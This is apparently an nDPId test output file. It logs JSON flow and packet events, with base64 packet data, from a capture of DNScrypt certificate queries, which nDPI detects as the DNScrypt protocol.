+00670{"flow_id":185,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":916753,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWoIcAADQRyl+OBMxvCgAAAQG731wAwup8EX6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} +00670{"flow_id":181,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":453,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":917597,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWoIYAADQRymCOBMxvCgAAAQG7yb8AwgAZEX+BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} +00671{"flow_id":186,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":454,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":917627,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWoIgAADQRyl6OBMxvCgAAAQG7ugUAwg\/YEXqBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":455,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":1,"flow_first_seen":946739380804,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":38371,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01105{"flow_id":187,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":455,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":804527,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc\/YZAAH4Rg9UKAAAB1C\/kiJXjAbsCCHuObd4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":455,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":1,"flow_first_seen":946739380804,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":38371,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":456,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":946739380804,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":34228,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02387{"flow_id":188,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":456,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":804527,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcIEwgAH4RfVAKAAAB1C\/kiIW0AbsGBB6ibd0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":456,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":946739380804,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":34228,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":457,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":946739380804,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":52056,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01105{"flow_id":189,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":804529,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc\/YdAAH4Rg9QKAAAB1C\/kiMtYAbsCCHuObeIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":457,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":946739380804,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":52056,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":458,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":804545,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQIEwAuX4RoiMKAAAB1C\/kiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":458,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":459,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":946739380805,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":40775,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01105{"flow_id":190,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":805007,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc\/YhAAH4Rg9MKAAAB1C\/kiJ9HAbsCCHuObeABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":459,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":946739380805,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":40775,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":460,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":946739380805,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":56335,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02388{"flow_id":191,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":460,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":805259,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc\/YkgAH4RoBIKAAAB1C\/kiNwPAbsGBMhCbeEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":460,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":946739380805,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":56335,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":461,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":805278,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ\/YkAuX4RxOUKAAAB1C\/kiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":461,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":462,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":946739380805,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":60885,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02388{"flow_id":192,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":805613,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc\/YogAH4RoBEKAAAB1C\/kiO3VAbsGBLZ+bd8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 